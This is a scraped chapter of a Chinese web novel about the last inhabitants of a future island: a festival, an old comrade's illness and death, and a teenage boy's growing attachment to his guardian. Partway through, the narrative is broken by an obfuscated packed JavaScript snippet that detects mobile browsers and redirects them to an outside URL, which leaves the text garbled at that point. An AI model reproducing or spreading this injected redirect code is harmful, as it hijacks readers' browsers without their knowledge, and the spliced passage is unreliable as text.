如今,陆地消失得越来越多,已经没有多少能在海上坚持漂泊的渔船。安塔岛便取消了暴露区这个战略缓冲带,拆出了一大片空地种上耐热的草种用于休闲和放牧。 海岸线上,一连点了十把篝火,人们围成一个又一个圆圈,举杯痛饮,载歌载舞。 也正是许多如此的时刻,才让齐观真正接受了那个随安塔岛而生的,名叫“希望”的任务。人类虽有割舍不掉的动物性,但胸中向往自由天地的灵魂才赋予了人类存在的意义。 迫不及待的多吉拉着齐观一路小跑到六号火把旁,这是齐观和朋友们早就约好的地方。 多吉一个飞扑跳到了里昂背上,把背对着他坐的里昂和麦小满吓了一跳。 “就知道你这小子!”里昂一把拽过多吉照着他的屁股拍了几巴掌。 麦小满回头看见齐观,起身抬手招呼着:“快来!就等你了!” 篝火旁,卡卡举了条鱼正烤着。薛洋洋站在旁边不停地催,卡卡却只是笑。钱章在空地上又支了个小柴火堆,谢心白眼冒馋光地盯着他手里的烤鸡。 远处杰佛森正和几个老队友坐在长木桩上聊天,肖薇坐在一旁听着。燕铭和方静竹相互依偎,看着方优和几个班里的同学嬉笑打闹。 “嗯,来了。”齐观应道。 谢心白闻着鸡肉香实在是忍不住了,“好了没有啊,老钱。可别又烤柴了。” 钱章揪过谢心白的小脸半亲半咬地来了一口,“你能不能有点耐心啊。又想把烤鸡偷走不给我留是不是?” “哎呀!老夫老妻的干什么呀!”谢心白一把推开钱章往四周看了看,正好看见在旁边偷笑的齐观。 “啊!你们真的是!”谢心白抱着胳膊气鼓鼓地说。 齐观贴着谢心白坐下,假装正经地说:“首长和首长夫人夫妻恩爱有利于我岛的稳定,还请谢心白同志大大方方地展示你们模范夫妻的风采。” “观观啊,你上班上魔怔了吧。”谢心白靠在齐观身上吐槽,又问:“你家多吉小朋友呢?” 齐观用手一指,不远处多吉正跟里昂学散打过招呢。几个老队员站在周围还时不时指点几句。 杰佛森没有起身,他的身旁还立着一根拐杖。 “杰佛森的腿还是恢复不好吗?”齐观问。 “嗯。”钱章点点头,“这么多年修修补补也没个进展,索性就不治了,柱个拐也一样走。” “我跟你说啊,老钱。”谢心白心疼地摸了摸钱章已经冒出几缕白发的鬓角,“你可得多注意身体,不然你等老得坐轮椅的时候,我就把你推到舞厅看我跟别的老头跳舞。” “你看她,一天到晚没个正形。”钱章指着谢心白跟齐观抱怨,他嘴上嫌弃,手上却诚实,“喏,烤鸡。” “来,观观。我们一人一个鸡腿。” 齐观憋着笑,在钱章幽怨的眼神中接过鸡腿,她都帮钱章做了那么多工作了,吃他个鸡腿怎么了? 她嘴上和谢心白闲聊着日常,脑子却放得很空,好像自己的灵魂出窍飞到天上,和岛上的所有人一起感受这浓稠的快乐。 篝火堆劈里啪啦地烧着,人们跳得满头大汗,齐观却想那火能再热些就好了。 42. 第42章 【公元3039年,多吉13岁,齐观38岁】 清晨,多吉第一次从一种潮湿旖旎的梦中醒来,在他意识到梦中的女人是谁后,他恨不得给自己一巴掌。 他怎么能…… 家里静悄悄的,越是安静他脑中来自梦的回声就越响,他不敢继续想下去,只好蹑手蹑脚起床去冲凉。 花洒落下的水温凉如夜色,多吉低着头恶狠狠地搓洗那条沾有污迹的内裤。 忘掉,必须忘掉,他在心里重复着。 再次穿戴整齐的多吉出了卫生间,正巧碰见刚睡醒的齐观。 齐观揉了揉眼睛,白皙的脸上还有微微发红的枕头印,“怎么醒这么早?” 多吉慌忙把刚洗净的内裤团成一团藏在身后,有些不自然地说:“没什么,就是醒了。” 齐观含糊地“嗯”了一声进了卫生间,多吉瞬间僵在原地,刚刚齐观经过他时,他能闻到齐观身上和他一样的洗发水香。 他看着齐观用清水拍了拍脸,又伸手摸向牙刷杯,修长匀称的手臂一举一动透着成熟女人的优雅,长长的吊带睡裙遮到柔软的膝盖窝,下面是如玉石般光洁的小腿。 别再看了,多吉想。可他脚底就像生了根一样,一步也动不了。 齐观洗漱完回头见多吉还在原地站着,便说:“一会儿你要是没什么事,陪我去趟医院吧。我刚看见消息,你钱章叔昨天夜里突发心梗,刚做完手术,我得去探望探望。” 多吉下意识想要避开齐观,“我今天想去跟着卡卡巡逻,还是不去了吧。” “我看你是想出去兜风吧。”齐观笑着说,“时间还早,等从医院出来你再去找卡卡也是一样的。你钱章叔年纪大了,有个小孩在旁边呆着也能活泛些。” 多吉一听这话莫名上来了些火气,他皱着眉说:“我已经不是小孩了。” 齐观平视着已经和她一样高的多吉,温柔地摸了摸他的头发,“嗯,我们多吉是长高了。” “我不是说这个。”多吉刚出口的话戛然而止,那他又能说什么呢? 他一路沉默地跟着齐观到了医院,齐观看得出来多吉有些不对劲,又猜不出他在想什么,只觉得多吉闹脾气的样子很新奇。 医院一楼大厅人不算多,到了高层的病房走廊里就更静了。 齐观轻轻敲响了病房门,拧了把手进屋,多吉跟在她身后。 钱章躺在病床上,脸上挂着氧气面罩,刚从麻醉中醒过来。谢心白守在钱章身边,拉着他的手,泪眼婆娑。 钱章喘气都费力,还是安慰道:“哭什么,我这不是没事吗?” “谁哭了,我一宿没睡困的。”谢心白胡乱抹掉了眼泪,嘴比谁都硬。 杰佛森坐在轮椅上,靠坐在窗边,一脸的愁容。“来了。”他朝齐观打了声招呼。 钱章也看见了齐观,便按了床边的按钮支起了上半身,“老了,不是这个零件走不动了,就是那个零件该修了。以后好多事都得托付给你了。” “不用担心,工作的事情我都安排好了。”齐观说。 “都这个时候了就别说工作了。”钱章胸前起伏着,语气有些急切,“要是哪天心白一个人过了,你就来多陪陪她。还有杰佛森,和那些身上有旧伤的老兵,现在技术好的医生越来越少了,他们生活有不便的地方你也多留意着。” “你放心,我都知道。多吉也爱在部队里呆着,都是看着他长大的人,不会让他们老无所依的。” 钱章欣慰地点点头:“认识你这么多年,感觉你还是我当年认识你的样子。多吉倒是越长越精神了,跟当年……”钱章见齐观脸色微变,便话锋一转,“跟当年的我有一拼。” 谢心白的眼泪止不住地流:“你别说话了,医生说你得多休息。” “不行,我得说,幸亏这次还能醒过来。”钱章握紧了谢心百的手,“心白,要是真有那一天,你别太想我。” 谢心白眼泪汪汪地瘪了瘪嘴:“我才不想你呢,这岛上人类还没灭绝呢,等你不在了我马上改嫁。” 钱章听了这话只是轻笑了一声:“你又骗我。” 杰佛森摇着轮椅到门口说:“我们走吧。” 齐观点点头,带着多吉一起离开,把时间留给这对携手多年的恋人。 多吉在前头踢踏着步子,杰佛森用手摇着轮椅跟在后面。 “怎么不用电动的?”齐观问。 杰佛森故作轻松地笑笑说:“就当锻炼了,再说也没到完全不能走的地步。对了,还要多谢你工种轮换的提案,现在我在医院给病人做精神疏导,连自己心里也畅快多了。” “不客气,职责所在。”齐观的语气不悲不喜,她背着手低头看向脚尖,白色的裙摆在眼前一晃一晃的。 工种轮换提案的本意是让居民尽可能地获取更多的工作技能,免得随着时间的推移出现劳动力不足,无人可用的情况。至于生活不便的残障人士也要让他们参与到社会生活中,寻找自我价值。 而接下来三十年的人口老龄化的问题则更让齐观头疼。最近她一直在完善成立居民互助小组的提案,不然就岛上这点年轻人和小机器人是真不够用的。 杰佛森见前头的多吉兴致不高,便问齐观:“高中最后一批学生也快毕业了,学校关停之后,你准备让多吉去哪儿呢?” 齐观答:“医院吧,至少先学两三年医护知识再放去部队,我也安心些。” “那多吉呢?你想去吗?”杰佛森问。 多吉一脸不乐意地闷头往前走:“不想,我就想去部队。我认识的哥哥都在那儿。” 齐观只当他是小孩子认生,劝道:“多吉,你现在还小,要是在外面出了危险我来不及救你的。洋洋也在医院实习呢,她可以带着你啊。” “你能不能不要再拿我当小孩了!”多吉回过身羞愤地喊道。 齐观微怔了几秒,没有继续说什么,眼见着多吉头也不回地跑开了。 杰佛森却并不意外:“虽然基因相同,但从小到大的经历不同。也许现在的多吉未必会长成你想要的那个人。” “没关系,我只想陪他走完完整的一生。” “世事无常,很多事情未必会按照你预料的方向发展。听钱章说,新生署当年为了维持未来秩序的稳定,最后几批新生儿调高了女孩的比例。若是他想要和别人相守一生呢?” 齐观看向眼前空无一人的走廊:“杰佛森,你是想让我后悔吗?” 杰佛森摇了摇头:“你要保着这座岛走到最后的事很多人都已经知道了,我只是觉得那样的一生太漫长了,找一个懂你的人帮帮你也许不会那么艰难。” 齐观没有直接表态,“我听肖薇说,你还是拒绝她了。十几年和几十年,真的有那么大差别吗?” 杰佛森沉默了一会儿,抬手调转了轮椅去向来时的方向,用背影留下一句:“刚才的话当我没说。” 逐渐晒起来的日头下,多吉正帮着卡卡往皮卡车上搬山下商店要卖的货物,累得浑身是汗。 “就剩三箱了,你先去车上等我吧。”卡卡说。 多吉像是得了天大的赦免,立刻跑回副驾驶躺着了。 片刻过后,卡卡也上了车。他发动车子,载着多吉往山下开去。 等到了地方,两个人又把一车的东西原封不动地卸了下来。 多吉又累又热,整个人都蔫了。卡卡一拍他肩膀说:“走吧,带你去巡逻。” “哥,我真走不动了。”多吉垂头丧气地说。 “才这点运动量就吃不消了,还想现在就进部队?” “哼,去就去。”多吉赌气似的上了车。 车子停在了南坡的海滩,卡卡见多吉实在是累着了,便让他等在车里,自己拿了两个采样瓶下车。 不一会儿,卡卡带着装了海水和沙土的瓶子回来,启动车子去往下一个站点。 多吉有些不耐烦了:“咱们什么时候去北坡兜风啊,南坡也太热了。” 卡卡笑了笑:“这就是部队日常的工作啊,一会儿采完样本,咱们得在岗哨待一整天呢。” “啊?今天不能去玩了吗?” “不是你自己说的吗?不喜欢齐观姐拿你当小孩看。既然如此,你就得承担大人应该承担的责任啊。” 多吉若有所思地看向卡卡。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15174171|163065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 卡卡继续说道:“别人的认可是要求不来的。你得先成为一个值得信赖的人,时间久了,别人看到了,自然就会接纳你。” 多吉羞愧地低下了头:“卡卡哥,你是不是觉得我刚才特别幼稚。” 卡卡笑得爽朗:“不会,我刚上岛的时候跟你现在差不多大,这些道理也是一个我很崇拜的人教给我的。” 多吉好奇地坐直了身子:“崇拜的人?是谁啊?里昂哥吗?” 卡卡转头看了多吉一眼,十三岁的少年就像春日抽条的树枝,铆着劲儿地长,一天一个样子,似乎已经渐渐有了曾经他熟悉的轮廓。 “他已经不在了,但我希望你能够成为和他一样好的人。” 多吉听了这话一下就泄了气:“能让你崇拜一定是很厉害的人,我要怎么才能做到啊。” “就从听齐观姐的话开始吧。”卡卡伸出手揉了揉多吉毛茸茸的脑袋,“她每天要管一整座岛的大事小情,虽然她没有说,但我想那一定是很艰难的。等什么时候你能成为她的后盾,她的依靠,你就能成为那样好的人了。” 后盾和依靠吗?多吉仔细理解着这背后的含义。 “那你是洋洋的后盾和依靠吗?”多吉问。 卡卡笑得更灿烂了:“当然,曾经那个我很崇拜的人让我保护好她,应该就是从那时开始,我的眼里就只能装得下她一个人了。” 多吉似懂非懂地点了点头。 【公元3041年,多吉15岁,齐观40岁】 今天是钱章走后的第一个忌日,齐观开车带着谢心白来到北坡散心。 世界往往并不会按照人的心情改变,此时正是一个万里无云的好天气。 “看我给你带了什么?”齐观从车上取下了一个纸袋递给谢心白。 谢心白吸了吸已经哭堵了的鼻子,接过一看里面是她最爱吃的烤鸡,立刻挤了一个比哭还难看的笑,“还是你对我好。” 她撕了一片肉下来,满嘴含糊地带着哭腔说:“这鸡烤得真嫩,不像老钱烤的,总是火候太大了。他做的饭也不好吃,要不是工作忙我才不吃呢。他年纪大了记性也不好,话还多,天天跟我唠叨,我都烦死了。” “心白,别想了。” “我才没有想那个老男人呢,死那么早干什么。” 谢心白话音刚落就嚎啕大哭起来,眼泪流进了嘴里,“这鸡怎么这么咸啊,你盐放多了吧。” 齐观搂着谢心白,把她的头靠在自己身上,任由她哭湿肩头。 直到天黑,齐观才回到家门口,心情十分低落。在可以预想的未来,她的朋友也会一个一个地离她而去。 薛洋洋和卡卡成了家,成年后就搬了出去,每周才回来住个一两天。多吉在医院那边帮忙,顺带学习,经常忙到很晚才回来。 齐观站在家门口,深吸了一口气才拧开把手,却没有看到预想中的黑暗。 “回来了。”多吉笑着朝她迎了过来,身后是一片暖黄的灯光。 齐观怔了几秒才问:“你怎么……怎么没在医院?” “今天这个日子,我猜你会去陪心白姐,那我就来陪你了。”多吉笑得微微有些腼腆,他拉着齐观走到了餐桌旁,“第一次下厨,还不太熟练。要是你觉得不好吃,我们现在去外面吃还来得及。” 眼前的面容渐渐与记忆深处的那张脸重合,恍惚间,齐观感到内心厚厚的城墙坍塌出一个小小的缺口,思念的洪水顷刻决堤而出。 她轻轻擦去眼角的泪水,“多吉,我……” 多吉上前抱住了齐观,个子已经比她高出多半个头,“没关系的,卡卡哥已经告诉我了。就算你会是地球上最后一个人类,洋洋和我还小,还可以陪你很久的。” 齐观咬着牙,把呼之欲出的情感咽了回去。她不能说,她应该给这个崭新的多吉一个自由选择未来的机会。 齐观推开多吉的手暗暗使了些力:“我去换身衣服,马上就来。” 多吉点点头,有些紧张地坐在餐桌前等待。 也许再等几年,等齐观习惯了这样的自己,他再把他心中的秘密说出来,就不会显得太过突兀了。